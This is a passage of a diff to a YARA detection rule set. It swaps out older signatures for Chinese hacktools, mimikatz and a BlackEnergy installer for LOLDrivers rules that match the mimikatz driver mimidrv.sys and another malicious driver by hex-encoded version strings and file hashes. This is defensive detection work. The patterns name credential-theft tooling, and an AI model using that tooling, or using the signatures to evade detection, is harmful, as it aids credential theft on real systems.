+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000320030002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE__Project1_Generate_Rejoice : FILE
+rule LOLDRIVERS_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_DDF4
 {
 	meta:
-		description = "Chinese Hacktool Set - from files Project1.exe, Generate.exe, rejoice.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4b36d450-1194-527c-8565-7f321d486d01"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2476-L2497"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b66bb4d392881468b33a8ee4458f33bfe7a82d34cc3927eedccd54ad94ff6a04"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
-		hash1 = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
-		hash2 = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "0b38be06-60df-5b49-a748-eb175e1db33f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L101-L134"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ddf427ce55b36db522f638ba38e34cd7b96a04cb3c47849b91e7554bfd09a69a"
+		hash = "bcb774b6f6ff504d2db58096601bc5cb419c169bfbeaa3af852417e87d9b2aa0"
+		hash = "af4f42197f5ce2d11993434725c81ecb6f54025110dedf56be8ffc0e775d9895"
+		hash = "9dc7beb60a0a6e7238fc8589b6c2665331be1e807b4d2b3ddd1c258dbbd3e2f7"
+		hash = "2da2b883e48e929f5365480d487590957d9e6582cc6da2c0b42699ba85e54fe2"
+		hash = "29348ebe12d872c5f40e316a0043f7e5babe583374487345a79bad0ba93fbdfe"
+		hash = "e4b2c0aa28aac5e197312a061b05363e2e0387338b28b23272b5b6659d29b1d8"
+		hash = "897f2bbe81fc3b1ae488114b93f3eb0133a85678d061c7a6f718507971f33736"
+		hash = "0f7bfa10075bf5c193345866333d415509433dbfe5a7d45664b88d72216ff7c3"
+		hash = "469713c76c7a887826611b8c7180209a8bb6250f91d0f1eb84ac4d450ef15870"
+		hash = "818787057fc60ac8b957aa37d750aa4bace8e6a07d3d28b070022ee6dcd603ab"
+		hash = "4af8192870afe18c77381dfaf8478f8914fa32906812bb53073da284a49ae4c7"
+		hash = "0740359baef32cbb0b14a9d1bd3499ea2e770ff9b1c85898cfac8fd9aca4fa39"
+		hash = "62764ddc2dce74f2620cd2efd97a2950f50c8ac5a1f2c1af00dc5912d52f6920"
+		hash = "3b2cd65a4fbdd784a6466e5196bc614c17d1dbaed3fd991d242e3be3e9249da6"
+		logic_hash = "d20bfd9f05a7cdb031f3ada2801ee3b978a9d27407b4425c7aa7eb41b4549b18"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "sfUserAppDataRoaming" fullword ascii
-		$s2 = "$TRzFrameControllerPropertyConnection" fullword ascii
-		$s3 = "delphi32.exe" fullword ascii
-		$s4 = "hkeyCurrentUser" fullword ascii
-		$s5 = "%s is not a valid IP address." fullword wide
-		$s6 = "Citadel hooking error" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0031002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310036002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE__Hscan_Hscan_Hscangui : FILE
+rule LOLDRIVERS_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_0F58
 {
 	meta:
-		description = "Chinese Hacktool Set - from files hscan.exe, hscan.exe, hscangui.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "174b0ee4-23ce-59fd-a784-ab58fd13ce67"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2499-L2519"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5466c3dd8b2b777186bfab9d0948905eb3692ce05cf4748fb5b7b896dc3cb251"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
-		hash1 = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
-		hash2 = "af8aced0a78e1181f4c307c78402481a589f8d07"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "0531a88d-cb21-5055-b365-a80b6e99a6e9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L137-L169"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0f58e09651d48d2b1bcec7b9f7bb85a2d1a7b65f7a51db281fe0c4f058a48597"
+		hash = "087270d57f1626f29ba9c25750ca19838a869b73a1f71af50bdf37d6ff776212"
+		hash = "0d676baac43d9e2d05b577d5e0c516fba250391ab0cb11232a4b17fd97a51e35"
+		hash = "06ddf49ac8e06e6b83fccba1141c90ea01b65b7db592c54ffe8aa6d30a75c0b8"
+		hash = "eab9b5b7e5fab1c2d7d44cd28f13ae8bb083d9362d2b930d43354a3dfd38e05a"
+		hash = "627e13da6a45006fff4711b14754f9ccfac9a5854d275da798a22f3a68dd1eaa"
+		hash = "b169a5f643524d59330fafe6e3e328e2179fc5116ee6fae5d39581467d53ac03"
+		hash = "dfc80e0d468a2c115a902aa332a97e3d279b1fc3d32083e8cf9a4aadf3f54ad1"
+		hash = "a74e8f94d2c140646a8bb12e3e322c49a97bd1b8a2e4327863d3623f43d65c66"
+		hash = "94ba4bcbdb55d6faf9f33642d0072109510f5c57e8c963d1a3eb4f9111f30112"
+		hash = "07759750fbb93c77b5c3957c642a9498fcff3946a5c69317db8d6be24098a4a0"
+		hash = "4dc24fd07f8fb854e685bc540359c59f177de5b91231cc44d6231e33c9e932b1"
+		hash = "baf7fbc4743a81eb5e4511023692b2dfdc32ba670ba3e4ed8c09db7a19bd82d3"
+		hash = "bcca03ce1dd040e67eb71a7be0b75576316f0b6587b2058786fda8b6f0a5adfd"
+		logic_hash = "ffa3eaf9032aa673119558217d212ff819ce91e99ab6c046f8801990d5826689"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = ".\\log\\Hscan.log" fullword ascii
-		$s2 = ".\\report\\%s-%s.html" fullword ascii
-		$s3 = "[%s]: checking \"FTP account: ftp/ftp@ftp.net\" ..." fullword ascii
-		$s4 = "[%s]: IPC NULL session connection success !!!" fullword ascii
-		$s5 = "Scan %d targets,use %4.1f minutes" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310034002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <240KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Kiwi_Tools : FILE
+rule LOLDRIVERS_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_7662
 {
 	meta:
-		description = "Chinese Hacktool Set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "000f0081-b035-5c73-8da2-addde2b55303"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2521-L2554"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ce7b3c7d57740257013d9d589444a3b53e81254619bd3f09ece917c70bba03ce"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
-		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
-		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
-		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
-		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
-		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
-		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
-		hash7 = "b5c93489a1b62181594d0fb08cc510d947353bc8"
-		hash8 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
-		hash9 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
-		hash10 = "febadc01a64a071816eac61a85418711debaf233"
-		hash11 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
-		hash12 = "56a61c808b311e2225849d195bbeb69733efe49a"
-		hash13 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
-		hash14 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
-		hash15 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
-		hash16 = "20facf1fa2d87cccf177403ca1a7852128a9a0ab"
-		hash17 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "2bb58484-03d2-5ccc-b165-cfe405f60f03"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L172-L213"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7662187c236003308a7951c2f49c0768636c492f8935292d02f69e59b01d236d"
+		hash = "a85d3fd59bb492a290552e5124bfe3f9e26a3086d69d42ccc44737b5a66673ec"
+		hash = "60ee78a2b070c830fabb54c6bde0d095dff8fad7f72aa719758b3c41c72c2aa9"
+		hash = "b2486f9359c94d7473ad8331b87a9c17ca9ba6e4109fd26ce92dff01969eaa09"
+		hash = "d41e39215c2c1286e4cd3b1dc0948adefb161f22bc3a78756a027d41614ee4ff"
+		hash = "008fa89822b7a1f91e5843169083202ea580f7b06eb6d5cae091ba844d035f25"
+		hash = "8206ce9c42582ac980ff5d64f8e3e310bc2baa42d1a206dd831c6ab397fbd8fe"
+		hash = "aafa642ca3d906138150059eeddb6f6b4fe9ad90c6174386cfe13a13e8be47d9"
+		hash = "fefc070a5f6a9c0415e1c6f44512a33e8d163024174b30a61423d00d1e8f9bf2"
+		hash = "6964a5d85639baee288555797992861232e75817f93028b50b8c6d34aa38b05b"
+		hash = "443c0ba980d4db9213b654a45248fd855855c1cc81d18812cae9d16729ff9a85"
+		hash = "e8743094f002239a8a9d6d7852c7852e0bb63cd411b007bd8c194bcba159ef15"
+		hash = "ec96b15ce218f97ec1d8f07f13b052d274c4c8438f31daf246ccfaaee5e1bebd"
+		hash = "beef40f1b4ce0ff2ee5c264955e6b2a0de6fe4089307510378adc83fad77228b"
+		hash = "e858de280bd72d7538386a73e579580a6d5edba87b66b3671dc180229368be19"
+		hash = "21617210249d2a35016e8ca6bd7a1edda25a12702a2294d56010ee8148637f5a"
+		hash = "02ebf848fa618eba27065db366b15ee6629d98f551d20612ac38b9f655f37715"
+		hash = "40556dd9b79b755cc0b48d3d024ceb15bd2c0e04960062ab2a85cd7d4d1b724a"
+		hash = "8b30b2dc36d5e8f1ffc7281352923773fb821cdf66eb6516f82c697a524b599b"
+		hash = "2ce4f8089b02017cbe86a5f25d6bc69dd8b6f5060c918a64a4123a5f3be1e878"
+		hash = "d7aa8abdda8a68b8418e86bef50c19ef2f34bc66e7b139e43c2a99ab48c933be"
+		hash = "82ac05fefaa8c7ee622d11d1a378f1d255b647ab2f3200fd323cc374818a83f2"
+		hash = "c7cd14c71bcac5420872c3d825ff6d4be6a86f3d6a8a584f1a756541efff858e"
+		logic_hash = "089f046e94a9cb4f576896e90375d6dbcaef61aa302af07f80230a74bc33ed18"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "http://blog.gentilkiwi.com/mimikatz" ascii
-		$s2 = "Benjamin Delpy" fullword ascii
-		$s3 = "GlobalSign" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0031002e0031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310037002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Kiwi_Tools_Gentil_Kiwi : FILE
+rule LOLDRIVERS_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_14B8
 {
 	meta:
-		description = "Chinese Hacktool Set"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4ad54580-b10b-5b17-8d8a-510e210e04d1"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2556-L2587"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1a88bb31e985ae2119b578494ce9130204b41eece5929865c0822cdc82eaba75"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
-		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
-		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
-		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
-		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
-		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
-		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
-		hash7 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
-		hash8 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
-		hash9 = "febadc01a64a071816eac61a85418711debaf233"
-		hash10 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
-		hash11 = "56a61c808b311e2225849d195bbeb69733efe49a"
-		hash12 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
-		hash13 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
-		hash14 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
-		hash15 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "a9965f8f-4969-52ae-953f-a06d8fabe951"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L216-L265"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "14b89298134696f2fd1b1df0961d36fa6354721ea92498a349dc421e79447925"
+		hash = "36c65aeb255c06898ffe32e301030e0b74c8bca6fe7be593584b8fdaacd4e475"
+		hash = "673bbc7fa4154f7d99af333014e888599c27ead02710f7bc7199184b30b38653"
+		hash = "5295080de37d4838e15dec4e3682545033d479d3d9ac28d74747c086559fb968"
+		hash = "8684aec77b4c3cafc1a6594de7e95695fa698625d4206a6c4b201875f76a5b38"
+		hash = "69866557566c59772f203c11f5fba30271448e231b65806a66e48f41e3804d7f"
+		hash = "a42f4ae69b8755a957256b57eb3d319678eab81705f0ffea0d649ace7321108f"
+		hash = "62036cdf3663097534adf3252b921eed06b73c2562655eae36b126c7d3d83266"
+		hash = "1ef7afea0cf2ef246ade6606ef8b7195de9cd7a3cd7570bff90ba1e2422276f6"
+		hash = "b34e2d9f3d4ef59cf7af18e17133a6a06509373e69e33c8eecb2e30501d0d9e4"
+		hash = "0aab2deae90717a8876d46d257401d265cf90a5db4c57706e4003c19eee33550"
+		hash = "15cf366f7b3ee526db7ce2b5253ffebcbfaa4f33a82b459237c049f854a97c0c"
+		hash = "c4c9c84b211899ceb0d18a839afa497537a7c7c01ab481965a09788a9e16590c"
+		hash = "618b15970671700188f4102e5d0638184e2723e8f57f7e917fa49792daebdadb"
+		hash = "4bca0a401b364a5cc1581a184116c5bafa224e13782df13272bc1b748173d1be"
+		hash = "c7bccc6f38403def4690e00a0b31eda05973d82be8953a3379e331658c51b231"
+		hash = "822982c568b6f44b610f8dc4ab5d94795c33ae08a6a608050941264975c1ecdb"
+		hash = "b8c71e1844e987cd6f9c2baf28d9520d4ccdd8593ce7051bb1b3c9bf1d97076a"
+		hash = "26bea3b3ab2001d91202f289b7e41499d810474607db7a0893ceab74f5532f47"
+		hash = "c8ae217860f793fce3ad0239d7b357dba562824dd7177c9d723ca4d4a7f99a12"
+		hash = "a78c9871da09fab21aec9b88a4e880f81ecb1ed0fa941f31cc2f041067e8e972"
+		hash = "82b7fa34ad07dbf9afa63b2f6ed37973a1b4fe35dee90b3cf5c788c15c9f08f7"
+		hash = "6d68d8a71a11458ddf0cbb73c0f145bee46ef29ce03ad7ece6bd6aa9d31db9b7"
+		hash = "52f3905bbd97dcd2dbd22890e5e8413b9487088f1ee2fa828030a6a45b3975fd"
+		hash = "64d4370843a07e25d4ceb68816015efcaeca9429bb5bb692a88e615b48c7da96"
+		hash = "f3ec3f22639d45b3c865bb1ed7622db32e04e1dbc456298be02bf1f3875c3aac"
+		hash = "51805bb537befaac8ce28f2221624cb4d9cefdc0260bc1afd5e0bc97bf1f9f93"
+		hash = "c4fb31e3f24e40742a1b9855a2d67048fe64b26d8d2dbcec77d2d5deeded2bcc"
+		hash = "d50cb5f4b28c6c26f17b9d44211e515c3c0cc2c0c4bf24cd8f9ed073238053ad"
+		hash = "4999541c47abd4a7f2a002c180ae8d31c19804ce538b85870b8db53d3652862b"
+		hash = "a32dc2218fb1f538fba33701dfd9ca34267fda3181e82eb58b971ae8b78f0852"
+		logic_hash = "e4d4b0da09beff889931b8d90365c3a04ff4b5b410004fb820cb2551365cf63c"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "mimikatz" fullword wide
-		$s2 = "Copyright (C) 2012 Gentil Kiwi" fullword wide
-		$s3 = "Gentil Kiwi" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0031002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310037002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+
+	condition:
+		all of them
+}
+rule LOLDRIVERS_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_41AD
+{
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "8a8887dd-0f3d-5ab4-a945-b47966789b99"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L268-L302"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "41ad660820c41fc8b1860b13dc1fea8bc8cb2faceb36ed3e29d40d28079d2b1f"
+		hash = "a7a665a695ec3c0f862a0d762ad55aff6ce6014359647e7c7f7e3c4dc3be81b7"
+		hash = "9a42fa1870472c38a56c0a70f62e57a3cdc0f5bc142f3a400d897b85d65800ac"
+		hash = "f6157e033a12520c73dcedf8e49cd42d103e5874c34d6527bb9de25a5d26e5ad"
+		hash = "31b66a57fae0cc28a6a236d72a35c8b6244f997e700f9464f9cbf800dbf8bee6"
+		hash = "1d23ab46ad547e7eef409b40756aae9246fbdf545d13946f770643f19c715e80"
+		hash = "704c6ffe786bc83a73fbdcd2edd50f47c3b5053da7da6aa4c10324d389a31db4"
+		hash = "200f98655d1f46d2599c2c8605ebb7e335fee3883a32135ca1a81e09819bc64a"
+		hash = "4bd4715d2a7af627da11513e32fab925c872babebdb7ff5675a75815fbf95021"
+		hash = "9e56e96df36237e65b3d7dbc490afdc826215158f6278cd579c576c4b455b392"
+		hash = "8b32fc8b15363915605c127ccbf5cbe71778f8dfbf821a25455496e969a01434"
+		hash = "b0a27ac1a8173413de13860d2b2e34cb6bc4d1149f94b62d319042e11d8b004c"
+		hash = "07beac65e28ee124f1da354293a3d6ad7250ed1ce29b8342acfd22252548a5af"
+		hash = "c4f041de66ec8cc5ab4a03bbc46f99e073157a4e915a9ab4069162de834ffc5c"
+		hash = "26ef7b27d1afb685e0c136205a92d29b1091e3dcf6b7b39a4ec03fbbdb57cb55"
+		hash = "406b844f4b5c82caf26056c67f9815ad8ecf1e6e5b07d446b456e5ff4a1476f9"
+		logic_hash = "a51e3e4c17122bf15b70b47693c3d24792cc7c7cbead1b26e501cb2907113968"
+		score = 70
+		quality = 80
+		tags = ""
+
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310039002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Blackenergy3_Installer
+rule LOLDRIVERS_MAL_Driver_Sensecorp_42B2
 {
 	meta:
-		description = "Matches unique code block for import name construction "
-		author = "Mike Schladt"
-		id = "4afeb7ac-ce8d-506c-9c97-db7ec6102490"
-		date = "2015-05-29"
-		modified = "2023-12-05"
-		reference = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_blackenergy_installer.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "78387651dd9608fcdf6bfb9df8b84db4"
-		hash = "78636f7bbd52ea80d79b4e2a7882403092bbb02d"
-		logic_hash = "c4c562124427fd394b56e48f16f2d262c8a717fc750b955b2b2a35acb478d5e7"
-		score = 75
-		quality = 85
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Sense5Ext.sys"
+		author = "Florian Roth"
+		id = "6b64ff77-866b-5d77-b2cf-5e507acc6cb9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L305-L321"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "42b22faa489b5de936db33f12184f6233198bdf851a18264d31210207827ba25"
